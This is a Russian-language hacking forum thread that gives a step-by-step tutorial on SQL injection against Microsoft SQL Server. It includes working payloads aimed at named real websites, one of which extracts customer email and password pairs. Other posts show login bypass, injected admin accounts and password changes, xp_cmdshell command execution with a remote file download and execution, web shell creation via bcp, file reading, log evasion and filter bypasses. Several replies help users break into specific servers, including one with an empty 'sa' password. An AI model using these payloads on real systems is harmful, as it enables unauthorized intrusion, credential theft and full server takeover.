![]() |
Проведение Инъекций в MSSQL сервер от Microsoft.
Проведение инъекций в MSSQL сервере от Microsoft. Вступление. Начнем, пожалуй, с вывода ошибок, и так, чем же отличается? - выводом ошибок у mysql и mssql. В mysql можно отключить вывод ошибок, в mssql этого сделать нельзя единственное что можно реализовать это редирект при выводе ошибки. В mssql вывод данных в mssql гораздо более проблематичный чем mysql (выводится только 1 переменная всегда), при этом не все данные из бд можно бывает вывести, иногда не выводяться колонки с кодировкой date int и др. Многие считают что сделать полноценный дамп базы через mssql иньекцию невозможно, но это не так, дальше я попытаюсь рассказать вам все тонкости проведения sql иньекций в msql.Мы будем рассматривать иньекции на asp aspx cfm (c php mssql ведет себя чуть по другому), так же не будем забывать что админ может просто изменить в конфигах сервера обработку mime/type и расширение файла может любым, но это не введет нас в заблуждение. Если иньекция есть то мы ее найдем. В плюс можно отнести и то что на msql не может существовать blind (слепых) иньекций. Вывод ошибок. Приступим к поиску непосредственно самих иньекций. И начнем с изучения ошибок которые выводит mssql в ответ на наши извращения. Рассмотрим данный урл http://www.psdata.no/ps.asp?it=1' Код:
Microsoft OLE DB Provider for SQL Server error '80040e14'Проверяем на нашиличие иньекции: Для того, что бы проверить, надо что-нибудь вывести, для этого используем подзапрос, и так что же мы можем вывести: 1 or 1=@@version-- - Версия 1 or 1=(select db_name())-- - Имя Базы Данных текущего юзера. 1 or 1=(select system_user)-- - Имя юзера владельца данной базой. Но в нашем случае нам придется слегка видоизменить запрос для его работоспособности... http://www.psdata.no/ps.asp?it=1' or 1=(select db_name())-- В ответ получим ошибку: Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'Поиск таблиц и колонок. В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос: 1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)-- В нашем случае запрос будет такой. http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)-- В ответ мы получим: Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'http://www.psdata.no/ps.asp?it=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(' tblMenuTCL'))-- Получаем ошибку: Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','ta ble2',........,'table50'))-- Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос 1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='table_name'+AND+C OLU MN_NAME+NOT+IN+('column','column2',.....,'column50 '))-- Вывод данных. После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь меня заинтересовали данные колонки: Код:
CustIDhttp://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+EmailAddress +from+Customers)-- Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers)-- Код:
Microsoft OLE DB Provider for SQL Server error '80040e07'http://www.ast-ss.com/dev/qa_search/full_text.asp?ID=1+or+1=(SELECT+TOP+1+cast(EmailAd dress+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+ nvarchar)+from+Customers+where+CustID=3)-- Мы получили совсем другую строку ту в которой CustID=3 так мы можем вывести всех юзеров. Но возникает вопрос, как же все-таки сдампить базу. Для этого существуют специальные скрипты которые перебирают все CustID (в нашем примере) и записывают все в файл без лишнего мусора. Теперь непосредственно о том как мы обьеденяем данные используем мы cast() синтаксис которого cast(perm as encode), далее %2B%27%3A%27%2B это у нас и есть : между выводимыми данными в раскодированном виде выглядит так +':'+. Исполнение команд. Еще мы можем исполнять комады если юзеру под которым запущена база достаточно прав, как правило, это только юзер sa. Вот списочек процедур которые при определенных условиях мы сможем использывать: Код:
xp_enumgroups (группы из ОС Windows);exec master..xp_cmdshell 'dir c:\'-- иногда ';exec master..xp_cmdshell 'dir c:\'-- Если вы задаите вопрос что же можно сделать то посоветую вам обратиться к help cmd.exe, лично использую только 1 метод добавление юзера. POST Иньекции. Конечно же затронем тему иньекций постом. в отличии от mysql, mssql выведет ошибку и мы можем с ней точно так же работать как и с обычной get иньекцией тоесть выводить данные из базы данных. Если же мы хотим просто обойти авторизацию то и используем подобные комбинации в полях логина и пароля: Код:
' or 1=1--Отсупления. И так несколько моих советов по инжектированию: 1) Ошибка очень многих использывать в mssql union Например тут: http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+union+select+0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0-- хотя тут легче работать с подзапросами http://www.accessdata.fda.gov/scripts/cder/onctools/studies.cfm?ID=1+or+1=@@version-- 2) не забывайте исользывать прерывание запроса в конце -- 3) При поиске иньекции методом описанным мной то есть подставляем к параметру or+1=@@version-- пробуйте разные комбинации например '+or+1=@@version-- ')+or+1=@@version-- "+or+1=@@version-- и т.д. 4) Почему использывать именно @@version? Потому что выводит данные в несколько строк и их легко заметить как например в данном запросе на aspx http://barijessence.com/?Page=ModelShow&ProductID=1+or+1=@@version-- 5)Что следует почитать? _http://injection.rulezz.ru/ _http://www.securitylab.ru/analytics/216211.php _http://www.securitylab.ru/analytics/216332.php _http://www.securitylab.ru/analytics/216333.php _http://www.securitylab.ru/analytics/216344.php Так же статьи на forum.antichat.ru Статья расчитана на начинающих. И справкой для Всех остальных :) [ cash ] Hack-Shop.Org.Ru (c) |
Цитата:
|
2_Great_
В большинстве авторизацый которые я встречал (именно авторизация про них говорил) обходился ' or 1=1/*. Обновил все о чем писали. Исправил граматические ошибки спасибо Thanat0z |
нужна вторая часть..
и вопрос еще почему при выполнении подзапроса (SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES) пишет ошибку Incorrect syntax near the keyword 'top'. все до вложеного правильно.. |
Продолжение статьи:
Класcификация ошибок в Базах Данных от Microsoft. Рассмотрим 3 версии самых популярных ошибок в asp. Для начала рассмотрим те ошибки с которыми мы ничего сделать не можем. И так по ключевым словам: 1) Microsoft Jet Database 2) VbScript 3) JetDataBase 4) "Потерянный параметр" Первые 3 класса ошибок образуют отдельную группу. Собственно с чем мы имеем дело. Во всех 3 Примерах мы имеем дело с базой данных Microsoft Jet Database Engine. Как мы видим работает она на Access + VB. Языка как такового в запросах там не используется. В этих случаях мы не можем провести инъекцию так как: Теперь рассмотрим "Потерянный параметр". Это я встречал на всех версиях Серверов от Microsoft и так и не разобрался с чем собственно это связанно. При попытке инъекции запроса с нарушением синтаксиса Сервер возвращает ошибку с некорректным параметром. Например При url Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Идеальная ошибка при составлении не корректного запроса к бд будет. Данной статьей я хотел показать в каких случаях возможна инъекция да бы на форуме не было одинаковых тем. Служит продолжением статьи http://forum.antichat.ru/showthread.php?t=30501 [ cash ] Hack-Shop.Org.Ru (c) |
Реализация скрипта для просмотра и дампинга баз, через mssql-inj.
Исходников не будет. http://pidor.in/mssql.php |
Кто-нибуть ещё может предложить способы для Post Иньекции? Наткнулся на страницу авториции, ничего из перечисленного не прокатило, неужели всё так жёстко фильтруется?
|
Не так пробывал значит.
|
модификация данных в таблицах
так же хочу добавить от себя, в отличае от mysql в mssql возможна модификация данных в таблицах
INSERT Команда INSERT вставляет новые записи в существующую таблицу. Тоесть мы можем найдя таблицу admins добавить нового пользователя, то есть себя, не нанося существенный вред данным Рассмотрим на примере: Код:
http://site.ru/index.asp?id=1; INSERT INTO admins (id, login, password) VALUES (5,'Pantera','qwerty')--UPDATE Команда UPDATE обновляет столбцы таблицы table в соответствии с их новыми значениями в строках существующей таблицы. Это значит то, что мы можем поменять к примеру пароль конкретного юзера на свой Рассмотрим на примере: Допустим мы нашли таблицу с названием admins и наша задача поменять пароль адмну с логином admin делаеться это вот так: Код:
http://site.ru/index.asp?id=1; UPDATE admins SET password = 'newpass' WHERE name='admin'-- |
Цитата:
просто поочерёдно тулил в поля логин и пасс предоставленные значения ("' or 1=1--" итд). Скрипт вообще никак не ругался, только говорил что лониг и пароль не верны. Причём если вставлять только в логин то скрипт сразу выдавал, что мол пароль не введён. Думал что эта проверка реализована ява скриптом, но в исходниках толком ничего не нашёл, хотя правда бегло просмартел. Нашёл названия переменных логина и пароля и присваивал им значения прямо в адресной строке браузера - тоже ничего. И ещё, возможно ли просто сохранить страничку, вручную поменять метод передачи, ну подставить полный путь к скрипту и таким образом передавать атутентификационные данные, будет ли это нормально (или ненормально :)) воспринимать скрипт? |
ява фильтрация обходитьсся на уровне посылки пакета.
Если нету ошибки то с чего ты взял что есть иньекция. ' or 1=1-- Придает иситаное значение передаваемому запросу так что или ты авторизуешься или нет. |
Цитата:
Цитата:
Цитата:
|
Цитата:
Цитата:
|
Цитата:
А всё таки не подскажешь, может известы ещё пару примеров, что можно втулить в форму авторизации? |
Выполнение системных команд через Sql запрос
Тема которую почти никогда не затрагивают в статьях про MSSQL сервер от Microsoft.
При наличии соответствующих прав, хакер может выполнить произвольную команду. Вот пример: Код:
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'--Также можно залить любой файл на уязвимый сервер Код:
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'tftp –i 127.0.0.1 get file.exe'--и выполнить его Код:
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'file.exe'-- |
http://site.ru/news.php?id=1;+exec+master..xp_cmdshell+'dir'
Че куда ты выведешь??? Запрос прервать коментариями не надо... Короче почитал поржал... |
почему при выполнении подзапроса
(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.T ABLES) пишет ошибку Incorrect syntax near the keyword 'top'. в данном случае сайт http://info.l2r.ru/?part=items&id=1+or+1=(SELECT+TOP+1+COLUMN_NAME+FR OM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ta ble_name'+AND+COLUMN_NAME+NOT+IN+('column'))-- |
UPDATE!
Уневальсальный дампер для mssql через иньекцию. http://slil.ru/24655320 http://www.rapidshare.ru/350872 Видео тут. Собсвенно продолжение статьи и то о чем все просили. http://hack-shop.org.ru/mssql.php |
UPDATE!
Официальный хелп от майкрософт по ADO (Jet Database). На русском. http://support.microsoft.com/ph/1596 |
А что делать если фильтрируюеться знак ( ' ) , а когда вожу запрос через char() выдает ошибку 'The char function requires 1 arguments' ??
|
Альтернативы MSSQL иньекций. Начнем опущу все начальные данные которые и так есть в прошлых статьях начнем с главного. Основной нашей целью будет изменить данные. Хачу обратить ваше внимание что в некоторых случаях когда мы не можем вывести данные, мы можем их удалить, проапдейтить или добавить(DELETE UPDATE INSERT), а так же выполнить различные команды, я хочу пояснить что данных не корректно обрабатываются только на выходе а не на входе это можно сравнить со слепыми иньекциями в mysql, раньше я писал что слепых иньекций не сушествует но это не так. В итоге мы можем исполнять произвольные команды в некоторых случаях, от чего это зависит я не разобрался, лишь пишу что это возможно. Теперь рассмотрим еще 1 альтернативыный способ рассмотрим код ошибоки 80040e14 по ANSI это Цитата:
GET ?id=1' и в ответ получаем Цитата:
(для правильного запроса могут быть необходимы ' ` " ") ') `) и так далее это оригинальный запрос) В ответ мы должны получить что то типо такого запроса. Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Пока все продолжение следует. [ cash ] Hack-Shop.Org.Ru (c) |
Цитата:
|
Код:
' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("change_ssn_history"))--Не на первую т.к. простой запрос Код:
' or 1=@@version--Вообщем такую ошибку выводит после моего запроса: Код:
Warning: mssql_query() [function.mssql-query]: message: Line 1: Incorrect syntax near '\'. (severity 15) in C:\AppServ2\www\index.php on line 17 |
Обход кавычек.
UPDATE! ВАЖНО!
Обход кавычек. Итак очередной мини апдейт к статье. Итак обход кавычек покурив мануалов от мелкомгяких нашел интересную особенность по обходу кавычек в cmd и а так же xp..cmdshell. не пробывал тестить при фильтрации кавычек в др функциях, как select но все в ваших руках. Если бы был открыт ремот декспот то можно бы было добавить юзера, благо обход кавычек нашел прикольный. Цитата: master..xp_cmdshell [net user lol lol /add] тобишь меняем выражение в кавычках на [], все же полезно читать мануалы... |
Цитата:
Для обхода фильтрации кавычек необходимо использовать функцию char(int ascii). При этом необходимо учитывать, что функция принимает один параметр и конкатенация в MSSQL, происходит с помощью оператора "+". Например если имя таблицы - USER, то соответственно при обходе надо использовать конструкцию char(117)+char(115)+char(101)+char(114), при этом кодировать сами кавычки уже не надо!!! При проведении непосредственно инъекции необходимо так же помнить, что знак "+" интерпретируется в GET HTTP запросах как пробел, по-этому его необходимо заменять на его url encode %2B. Для примера рассмотрим определение таблиц, если у нас при первом запросе к information_shema.tables вывалилось имя таблицы USER, то след запрос будет иметь вид: Код:
http://www.site.com/news.asp?id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)))-- |
Если гдето ошибаюсь не ругайтесь, но по моему тут небольшая неточность.
Цитата:
А сам вариант конечно же рабочий :) |
Цитата:
|
мб пригодится кому для обхода кавычек
PHP код:
|
Цитата:
=) |
2cash и все-все-все...:)
для обхода антимаджиков разных для хр_цмдшелл и прочих не требующих вывода проще юзать declare @q varchar(8000) select @q=0x'.$query.' exec(@q) |
Токо создание функции в запросе в не всегда прокатывает щас практикую на поллную создание функций штудирую мануалы, за пример спасибо интере интересная реализация.
|
Tsql, разделяй и властвуй.
TSQL, разделяй и властвуй. Автор : [cash] Дата : 07.10.2007 Продукт: TSQL Интро. Начнем с того, что язык TSQL разработан компанией microsoft для продуктов MSSQL Server и Microsoft Access и др. Самой вкусной частью этого языка являются хранимые процедуры, о которых мы и поговорим сегодня. Сразу хочу сказать, что стандартные запросы к базе данных рассматриваться не будут. Взлом, хранимые процедуры, функции. 1)Хранимые процедуры. И так начнем. После нахождения инъекции первое что мы делаем определяем юзера под которым запущенна база, для удачного проведения атаки нам необходимы права системного администратора sa или же юзера обладающего его правами. Нашей конечной целью будет получение шелла и слив базы данных. Рассмотрим процедуры, которые будут нам полезны. xp_fixeddrives - вывод существующих логических разделов жесткого диска, например. Код:
C 11155xp_create_subdir "c:\aaa" – cоздание папки. sp_addlogin 'user', 'pass' – Добавление юзера базы данных. sp_addsrvrolemember 'user', 'sysadmin' – Присвоение юзеру админских привилегий. xp_regwrite – Запись в реестр. xp_cmdshell – Исполнение команд. Остановимся на последнем. Исполнение команд, что же еще может быть лучше этого… есть 1 недостаток у нас нету вывода. Ну начнем с самого распространенного способа добавление юзера на ремот декспот не буду останавливаться на этом и как то комментировать. Код:
index.asp?id=1;exec master..xp_cmdshell 'net user user pass /add'-- 1) ‘‘ Можно обходить []. 2) Посылать запрос в 0x[HEX], как это сделать. Код:
declare @q varchar(8000) select @q=0x[HEX] exec(@q)Создаем и исполняем свою переменную. При этом надо помнить что в екзек мы должны вставить имя процедуры а не просто команду. 2)К базе на прямую. Способ который может нам помочь. Как правило удаленный коннект юзера sa запрещен поэтому мы добавим своего юзера и законнектимся удаленно к серверу, если открыт 1433 порт. Сделаем мы это используя sp_addlogin и sp_addsrvrolemember, описанных выше, а далее мы можем слить базу и исполнять команды уже с выводом. 3)Сценарии. И самое запись в файлы. Нам нужно найти папку для записи и попробовать записать туда файл. Файл мы будем записывать echo. И так что мы можем сделать используя эту великолепную функцию. Рассмотрим такой листинг. Код:
echo user '$user' '$passwd' > '$file'4)bcp bcp Является стандартной утилитой для дампа базы данных и имеет следующий синтаксис: Код:
bcp "SELECT * FROM db..table" queryout c:\inetpub\dump -c –S[server] –U[user] –P[pass]Код:
;create table shell (code varchar(8000))--Код:
;insert into shell (code) set values (‘|code|’)Код:
bcp "SELECT code FROM shell" queryout c:\www\shell.asp -c –S[server] –U[user] –P[pass]Не возможность вывести данные это лишь маленькая преграда мы всегда сможем составить запрос который давал нам ответ TRUE or FALSE или же 1 и 0, рассмотрим на примере. Код:
if ((select system_user) = 'sa' OR (select system_user) = 'test') select 1 else select 1/0Вообщем если добавить к запросу в конце --sp_password то ошибки ошибки не будут логироваться в системных журналах SQL Server, но не в журналах IIS или др веб сервера логии будут писаться лично я не понимаю как это фишка пашет но в документации написано что 100% работает, пример Код:
1=@@version--sp_password7) Читаем файлы. Для начала создадим таблицу file с полем text Код:
;create table file(text varchar(8000))--Код:
bulk insert file from 'c:\boot.ini 'Код:
select top 1 text from fileКод:
;drop table fileЧто бы не мучаться с выводом большого количества инфы, можно просто объединить их в одну табличку и посмотреть все разом, вообще очень полезная фишка при сливе базы через инъекцию. Для начала нам надо создать таблицу назовем ее tmpusers c одной единственной колонкой dump, так же предполагается что у нас есть табличка users с полями id, usr, pwd. Пример Код:
;begin declare @dump varchar(8000) set @dump =':' select @dump=@dump+' '+usr+'|'+pwd from users where username>@dump select @dump as ret into tmpusers end--Далее нам надо сделать запрос select к тому что мы создали. Код:
select top 1 dump from tmpusersКод:
;drop table tmpusersmaster..sysservers – Серверы слинкованные с данные(для применения атак ROWSET) Системные юзеры. SQL Server 2000: masters..sysxlogins SQL Server 2005 : sys..sql_logins 3) Посимвольный перебор. Далеко не во всех случаях при инъекции выводиться ошибка при подстановке кавычки, что делать в это случае определить юзера не составит труда, но что делать если у нас не превилегированный юзер, а кто отменял substring() в mssql синтаксис у нас будет следующий Код:
1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 table_name FROM dbo1.user WHERE id=1 AND name NOT IN(SELECT TOP 0 name FROM dbo1.user WHERE id=1)),1,1)),0)>1--Код:
WAITFOR DELAY '00:00:00'--Код:
if (select system_user) = 'sa' waitfor delay '0:0:25'4)Фильтрация. Сегодня мы уже затрагивали тему фильтрации но заострим на этом внимание. Первое что стоит попробовать фильтруется ли запрос как в GET так и в POST или же наоборот. Далее фильтрация по маске на пример exec или же select для того что бы обойти данный вид фильтрации нам надо иметь и представлять какие комментарии есть в данном языке и так: ‘#’ - конец строки ‘--‘ - конец строки ‘/*’ ‘*\’ – строчные комментарии. ; - разделение запросов (может быть гораздо больше 1) То есть для того, что бы нам разделить фильтруеещееся по маске слово внутрь него мы вставим строчный комментарий и закроем его, например Код:
E/*comment*/X/*comment*/E/*comment*/CНазвание баз данных и, например данных для инсерта мы можем кодировать 2 способами: 1)Многосимвольно 0x[HEX] 2) Односимвольно char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX]) 5)ROWSET или еще 1 косяк Microsoft. На эту тему написана отличная статья на русском языке на securitylab.ru так что дублировать что либо я не вижу смысла и так что читаем. [ cash ] Hack-Shop.Org.Ru (c) |
При подборе колонок вылазит вот такой эррор!
Warning: mssql_connect() [function.mssql-connect]: Unable to connect to server: 127.0.0.1 Warning: mssql_query() [function.mssql-query]: Unable to connect to server: (null) Warning: mssql_query() [function.mssql-query]: A link to the server could not be established Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource |
На шол вот такую уязвимость
Пользователь 'sa' имеет пустой пароль, следовательно любой пользователь может получить полный доступ к БД. Также при наличии расширенной процедуры xp_cmdshell злоумышленник может получить полный контроль над сервером. добрые люди помогите ей воспользоваться :) заранее спасибо может есть какой либо список команд |
GannIbal.
по моему нужен юзер dbo/ master и тд . что бы выполнять команды на сервере и добавлять юзера в бд |
Цитата:
|
2GannIbal.
1) Скачатай клиент (MSSQL SERVER (faq где ? -> microsoft.com )) 2) Запусти 3) Веди ip логин sa пароль оставь пустым. 4) Нажми Cоеденить или Connect. 5) Наблюдай азу данных в графическо интерфейсе. |
Цитата:
сейчас посмотрим спасибо бальшое вроде всё норм пака работает |
Готовиться продолжение статьи
https://forum.antichat.ru/showpost.php?p=523825&postcount=36 TSQL, разделяй и властвуй. В рассмотрении пока темы: 1) Эффективное исполнение команд. 2) Методы автоматизации иньекций. 3) MSSQL и PHP 4) Клиенты, библиотеки, и методы аудита баз MSSQL. Хотелось бы услышать то, что вам будет интересно прочитать, обсудить или просто поделиться. Все вы можете со мной обсудить на IRC канале #antichat. |
Добрый день, столкнулся с траблой по MSSQL. Могу всмотреть таблицы и их колонки. НО не всех таблиц пример если взять 'customers'
Код:
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+last_name+from+customer)--Код:
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='order'+AND+COLUMN_NAME+NOT+IN+('ip','login_date'))--Код:
site.ru/index.asp?loading=1%20or%201=(SELECT+TOP+1+ip+from+order)--Цитата:
|
| Время: 18:18 |